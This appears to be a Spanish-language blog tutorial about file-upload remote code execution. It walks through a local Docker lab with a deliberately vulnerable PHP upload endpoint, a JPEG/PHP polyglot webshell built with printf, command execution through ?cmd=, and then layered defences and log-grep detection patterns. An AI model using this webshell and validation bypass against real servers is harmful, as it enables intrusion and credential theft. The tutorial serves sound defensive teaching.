Una foto que ejecuta comandos
Imagina una funcionalidad tan común en una página web como subir la foto de perfil. Un <input type="file">, el usuario elige su selfie, y el servidor la guarda. Lo hace todo el mundo, está en cualquier aplicación y casi nadie lo mira porque solo son imágenes.
El programador que lo escribió no es un paquetón. Valida dos cosas: que la extensión sea de imagen y que el tipo MIME MIME Multipurpose Internet Mail Extensions: la etiqueta que describe qué tipo de archivo es algo, como image/jpeg o application/pdf. El servidor puede deducirla mirando el contenido real del archivo, no solo la extensión del nombre. real (mirando el contenido del archivo, no fiándose del nombre) sea image/jpeg o image/png. Parece suficiente pero no.
En este post te cuento cómo se podría hackear esto, y te monto un laboratorio en local con Docker para que subas el ataque a tu propia máquina, veas la shell remota shell remota Acceso para ejecutar comandos del sistema operativo en una máquina ajena a través de la red. Si un atacante consigue una shell en tu servidor, puede hacer prácticamente lo que quiera en él. aparecer y luego la cierres con las defensas correctas. Verlo romperse es la única forma de entender de verdad por qué hay que protegerlo.

PeligroTodo lo que viene es para tu propia máquina, en local. Montar este laboratorio para aprender a defenderte es legítimo y educativo. Lanzar esto contra un servidor que no es tuyo, sin permiso por escrito, es un delito (en España, artículos 197 bis y 264 del Código Penal). Ojito eh pavo que el objetivo es aprender a tapar el agujero, no a abrirlo en casa ajena.
El código que vamos a romper
Este es el endpoint de subida. Léelo y busca el fallo antes de seguir. Te aviso de que el fallo no está donde la mayoría mira:
<?php
// ⚠️ APP DE DEMO VULNERABLE A PROPÓSITO. NO USAR EN PRODUCCIÓN.
$file = $_FILES['avatar'] ?? null;
if (!$file || $file['error'] !== UPLOAD_ERR_OK) {
http_response_code(400);
exit('No se ha recibido ningún archivo.');
}
// "Validación" 1: la extensión. Solo mira la ÚLTIMA extensión del nombre.
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, ['jpg', 'jpeg', 'png'], true)) {
http_response_code(422);
exit('Extensión no permitida.');
}
// "Validación" 2: el tipo MIME real con finfo. Solo lee los primeros bytes.
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($file['tmp_name']);
if (!in_array($mime, ['image/jpeg', 'image/png'], true)) {
http_response_code(422);
exit('Tipo de archivo no permitido: ' . $mime);
}
// 💥 EL FALLO: guardamos con el nombre que elige el cliente, en una
// carpeta accesible desde la web.
$nombre = basename($file['name']);
move_uploaded_file($file['tmp_name'], __DIR__ . '/uploads/' . $nombre);
echo 'Avatar subido: /uploads/' . htmlspecialchars($nombre);
Las dos validaciones son reales y, por separado, parecen correctas. El problema es que ninguna de las dos impide subir un archivo que PHP pueda ejecutar y encima lo guardamos con el nombre que nos da el cliente en una carpeta pública. Vamos a ver cómo se lía parda.
NotaDa igual que esto sea PHP plano. El patrón es idéntico en Laravel (
$request->validate(['avatar' => 'mimes:jpg,png'])+$file->getClientOriginalName()), en Symfony o donde sea. La reglamimes:valida exactamente esto y se salta exactamente igual.
Monta el laboratorio
Para montarlo necesitas Docker e ya. Crea una carpeta y mete estos cuatro archivos.
Dockerfile: un PHP + Apache con una mala configuración muy común:
FROM php:8.3-apache
# Config INSEGURA a propósito (esto es lo que hace explotable el lab):
# AddHandler asocia .php al intérprete mirando TODAS las extensiones del
# nombre, no solo la última. Por eso "shell.php.jpg" se ejecuta como PHP.
RUN echo "AddHandler application/x-httpd-php .php" > /etc/apache2/conf-enabled/zz-vuln.conf
COPY app/ /var/www/html/
RUN mkdir -p /var/www/html/uploads && chown -R www-data:www-data /var/www/html/uploads
docker-compose.yml:
services:
web:
build: .
# solo localhost: es una webshell vulnerable a propósito, no la expongas a tu red
ports:
- '127.0.0.1:8080:80'
app/index.php: el formulario:
<!doctype html>
<html lang="es">
<head>
<meta charset="utf-8" />
<title>Subir avatar</title>
</head>
<body>
<h1>Sube tu avatar</h1>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="avatar" accept="image/*" />
<button type="submit">Subir</button>
</form>
</body>
</html>
app/upload.php: exactamente el código vulnerable que hemos visto antes más arriba.
Levanta el lab:
docker compose up -d --build
Y abre http://localhost:8080. Tienes el formulario funcionando. Hasta aquí, una aplicación normal y corriente.
ImportanteEsa línea
AddHandler application/x-httpd-php .phpno me la he inventado para hacer trampa. Es una receta que aparece copiada y pegada en miles de tutoriales y respuestas de foros para «activar PHP». La diferencia con la forma correcta (<FilesMatch \.php$>) parece cosmética, pero es justo la que convierte el bug en algo explotable. Volvemos a ello al final.
El ataque, paso a paso
Paso 1: fabricar el archivo políglota
Un archivo políglota archivo políglota Un archivo válido para dos formatos a la vez. Aquí: válido como imagen JPEG (para colar la validación) y como script PHP (para ejecutarse). El navegador lo ve como foto; el servidor, como código. es un archivo que es dos cosas a la vez. Vamos a construir uno que sea JPEG válido por el principio y PHP por el final.
finfo decide que algo es un JPEG mirando sus primeros bytes, sus magic bytes magic bytes Los primeros bytes de un archivo que identifican su formato. finfo y el comando file los usan para deducir el tipo. Un JPEG empieza por FF D8 FF; un PNG por 89 50 4E 47. No miran el resto del archivo. . Si el archivo empieza con la firma de un JPEG, dirá image/jpeg aunque después venga código PHP:
# magic bytes de un JPEG (FF D8 FF E0 ... JFIF) + payload PHP al final
printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01' > shell.php.jpg
printf '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg
Comprobamos qué ve la validación del servidor:
$ file --mime-type shell.php.jpg
shell.php.jpg: image/jpeg
image/jpeg. La segunda validación, la del MIME real, ya está dentro. Y el nombre termina en .jpg, así que la primera validación (la de la extensión) también pasa porque solo mira la última extensión y no ve el .php que va en medio.
ConsejoEn un ataque real no usarías estos magic bytes a pelo, sino que añadirías el payload PHP al final de una foto de verdad. El archivo se abre y se ve como una imagen normal (los bytes tras el marcador de fin de un JPEG se ignoran al renderizar), pasa cualquier vista previa, y nadie sospecha. El truco es el mismo.
Paso 2: subirlo
$ curl -F "avatar=@shell.php.jpg" http://localhost:8080/upload.php
Avatar subido: /uploads/shell.php.jpg
Aceptado. Las dos validaciones han dado el visto bueno y el archivo está ya en una carpeta accesible desde el navegador, con el nombre que nosotros elegimos: shell.php.jpg.
Paso 3: ejecutar comandos (RCE)
Aquí entra la mala configuración de Apache. Como AddHandler mira todas las extensiones del nombre, ve el .php que metimos en medio y le pasa el archivo al intérprete de PHP. Resultado: nuestro system($_GET['cmd']) se ejecuta. Esto es RCE RCE Remote Code Execution: ejecución remota de código. El santo grial de un atacante: poder ejecutar comandos arbitrarios en un servidor a través de la red. A partir de aquí, el sistema está comprometido. , que quiere decir ejecución remota de código:
$ curl "http://localhost:8080/uploads/shell.php.jpg?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8080/uploads/shell.php.jpg?cmd=uname%20-a"
Linux 6f055fc7f832 6.17.0-35-generic #35 SMP x86_64 GNU/Linux
NotaCuando lo montes verás un poco de basura binaria pegada delante de cada respuesta (con un
JFIFreconocible). Son los magic bytes de la cabecera JPEG, que al ir fuera de las etiquetas<?php ?>, Apache los escupe tal cual antes del resultado del comando. Es ruido inofensivo, elidse ejecuta igual.
Y ya está. A partir de este ?cmd= el atacante tiene una webshell webshell Un script subido a un servidor web que permite ejecutar comandos en él a través de peticiones HTTP. Una shell remota disfrazada de archivo normal. Suelen ser diminutas, como nuestro system($_GET['cmd']). con la que listar archivos, leer la configuración de la base de datos, descargar credenciales, instalar una clave SSH para volver cuando quiera o pivotar al resto de la red interna. Y todo empezó por subir el avatar.
AdvertenciaQue la shell corra como
www-data(un usuario sin privilegios) no es ningún consuelo. Desde ahí se leen los.envcon las claves de la base de datos, se modifican los archivos de la propia aplicación para robar contraseñas de los usuarios reales, y se buscan fallos del sistema para subir aroot. La primera ejecución de código es la batalla que de verdad importa.
Por qué ha funcionado: cuatro cagadas una detrás de otra
Ningún fallo por sí solo bastaba. Tuvieron que alinearse los planetas:
La validación de MIME deduce el tipo a partir de los primeros bytes del archivo. Le pones una firma JPEG delante y se traga cualquier cosa que venga detrás, incluido código PHP.
Comprobar que el nombre acaba en .jpg no impide que sea shell.php.jpg. La parte peligrosa va en medio, donde la validación ni mira.
Guardar el archivo con el nombre que manda el usuario le deja meter un .php donde quiera y elegir la URL exacta desde la que luego invocará su shell.
Las subidas caen en una carpeta pública donde el servidor está dispuesto a ejecutar PHP. Si esa carpeta solo sirviera archivos estáticos, el políglota sería una imagen inofensiva.
Lo bueno es que para frenar el ataque no hace falta cerrar los cuatro. Con romper uno solo, la cadena se cae. Vamos a por todos, en capas, para hacerlo bien.
Las defensas, en capas
Capa 1: el nombre lo pone el servidor, no el cliente
La defensa más barata y de mayor impacto. Nunca, jamás, guardes un archivo con el nombre que te da el usuario. Genera tú uno aleatorio y deriva la extensión del tipo que tú has detectado, no del nombre original:
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($file['tmp_name']);
$ext = ['image/jpeg' => 'jpg', 'image/png' => 'png'][$mime] ?? null;
if ($ext === null) {
http_response_code(422);
exit('Tipo de archivo no permitido.');
}
// Nombre imposible de adivinar y sin rastro del .php
$nombre = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($file['tmp_name'], __DIR__ . '/uploads/' . $nombre);
Sube el mismo políglota a esta versión y el archivo aterriza como d11be2b765c1b72ff4e985395ef926c1.jpg. Pídelo en el navegador y el servidor te devuelve los bytes tal cual, como imagen: el nombre ya no contiene .php, así que ni el peor AddHandler lo manda al intérprete. El <?php ... ?> viaja como texto inerte dentro de un .jpg.
Capa 2: guarda las subidas fuera del directorio público
Si el archivo no es accesible por URL, no hay nada que invocar. Guarda las subidas fuera del webroot webroot La carpeta raíz que el servidor web expone públicamente (por ejemplo public/ o www/). Todo lo que está dentro se puede pedir por URL; lo que está fuera, no. (en storage/, un volumen aparte, o directamente en un bucket S3) y sírvelas a través de un script PHP que lea el archivo y lo entregue con el Content-Type correcto. Así controlas quién accede y a qué, y nada de lo subido se ejecuta jamás.
Capa 3: recodifica la imagen y destruye el payload
Las dos capas anteriores ya paran este ataque, pero esta se lo super peta. En lugar de guardar el archivo que llega, ábrelo como imagen y vuelve a generarlo. Al decodificar los píxeles y reescribir el JPEG desde cero, todo lo que no sean datos de imagen se queda fuera: el código PHP del final, los metadatos EXIF metadatos EXIF Información que las cámaras y móviles incrustan en las fotos: modelo, fecha, y a veces coordenadas GPS. Es otro sitio donde se puede esconder un payload, y recodificar la imagen también lo elimina. con sorpresas, todo:
// Requiere la extensión GD (docker-php-ext-install gd)
$img = imagecreatefromstring(file_get_contents($file['tmp_name']));
if ($img === false) {
http_response_code(422);
exit('La imagen no es válida.');
}
$nombre = bin2hex(random_bytes(16)) . '.jpg';
imagejpeg($img, __DIR__ . '/storage/' . $nombre, 85); // recodifica
imagedestroy($img);
NotaSi usas Laravel,
intervention/imagehace esto mismo en una línea:Image::read($file)->cover(400, 400)->encodeByExtension('jpg', quality: 85). Decodifica, redimensiona y recodifica, dejando el payload por el camino.
Capa 4: que la carpeta de subidas no ejecute nada
Más defensa por si algo de lo anterior falla. El objetivo es que la carpeta de uploads sea incapaz de ejecutar código pase lo que pase.
En Apache, un .htaccess dentro de la carpeta de subidas:
php_flag engine off
RemoveHandler .php .phtml .phar
<FilesMatch "\.(php|phtml|phar)">
Require all denied
</FilesMatch>
Con esto, pedir shell.php.jpg devuelve directamente un 403 Forbidden en lugar de ejecutarlo.
En Nginx, niega la ejecución en esa ruta:
location ^~ /uploads/ {
location ~ \.php$ { deny all; }
}
Y sobre todo, arregla la causa raíz que vimos en el lab. Nunca uses AddHandler para activar PHP, porque mira todas las extensiones del nombre. Usa SetHandler anclado al final con $, que es justo lo que trae la imagen oficial de PHP por defecto:
- Apache: <FilesMatch "\.php$"> SetHandler application/x-httpd-php </FilesMatch>
- Nginx: location ~ \.php$ { ... } — con el $ del final
- Apache: AddHandler application/x-httpd-php .php
- Nginx: location ~ \.php { ... } — sin el $, matchea shell.php.jpg
ImportanteEl
.htaccesssolo sirve si Apache tieneAllowOverrideactivado para esa carpeta (la imagen oficialphp:apachelo trae comoAllowOverride All, pero muchos servidores de producción lo desactivan por rendimiento). Si está enNone, tu.htaccessse ignora en silencio. No te fíes solo de él: combínalo con las capas 1 y 2, que no dependen de la configuración del servidor.
Capa 5: el resto del cinturón de seguridad
Guarda los archivos con chmod 0640: ni ejecutables ni accesibles por otros usuarios del sistema. Un archivo sin bit de ejecución es una piedra más en el zapato del atacante.
Evita que el navegador adivine el tipo de un archivo e interprete como HTML o JS algo que sirves como imagen. Corta los ataques de tipo XSS vía subida.
Limita el número de subidas por usuario y minuto. No para el ataque en sí, pero frena el escaneo automático y los intentos a lo bestia.
Sirve las subidas desde un subdominio sin cookies (tipo uploads-cdn.tu-web.com). Aunque algo se ejecutara, no tendría acceso a las sesiones de tu dominio principal.
Y si piensas que ya te han marcado goles de esta forma, busca archivos ejecutables donde no deberían estar y revisa los logs de acceso en busca de peticiones raras con parámetros tipo ?cmd= o ?c=:
# Archivos PHP escondidos en la carpeta de subidas
find ./uploads -regextype posix-extended -iregex '.*\.(php|phtml|phar)'
# Accesos sospechosos a la carpeta de subidas en los logs
grep -E "/uploads/.*\?(cmd|c|exec|shell)=" /var/log/apache2/access.log
La versión final, ya blindada
Juntando las capas que no dependen del servidor, el endpoint queda así:
<?php
$file = $_FILES['avatar'] ?? null;
if (!$file || $file['error'] !== UPLOAD_ERR_OK) {
http_response_code(400);
exit('No se ha recibido ningún archivo.');
}
// 1. El tipo lo decide el servidor mirando el contenido
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($file['tmp_name']);
$ext = ['image/jpeg' => 'jpg', 'image/png' => 'png'][$mime] ?? null;
if ($ext === null) {
http_response_code(422);
exit('Tipo de archivo no permitido.');
}
// 2. Recodifica la imagen: destruye cualquier payload o EXIF
$img = imagecreatefromstring(file_get_contents($file['tmp_name']));
if ($img === false) {
http_response_code(422);
exit('La imagen no es válida.');
}
// 3. Nombre aleatorio del servidor, fuera del webroot, con permisos mínimos
$nombre = bin2hex(random_bytes(16)) . '.' . $ext;
$destino = __DIR__ . '/../storage/uploads/' . $nombre;
$ext === 'png' ? imagepng($img, $destino) : imagejpeg($img, $destino, 85);
imagedestroy($img);
chmod($destino, 0640);
echo 'Avatar guardado de forma segura.';
Nombre que pone el servidor, contenido recodificado, guardado fuera del directorio público y con permisos restrictivos. El políglota de antes, contra esto, no es más que una imagen rota que ni siquiera llega a guardarse.
Y esa es la moraleja: el ataque no vivía en la validación, por muy sólida que pareciera. Vivía en qué haces con el archivo después.
No dejes el laboratorio levantado, que para algo es vulnerable a propósito:
docker compose down --rmi local
Monta el lab, lánzate el ataque a ti mismo, y luego ve aplicando capas y reintentándolo hasta que el ?cmd=id deje de responder. Esa es la mejor forma de que no se te olvide nunca.
Nos vemos en los bares! 🍻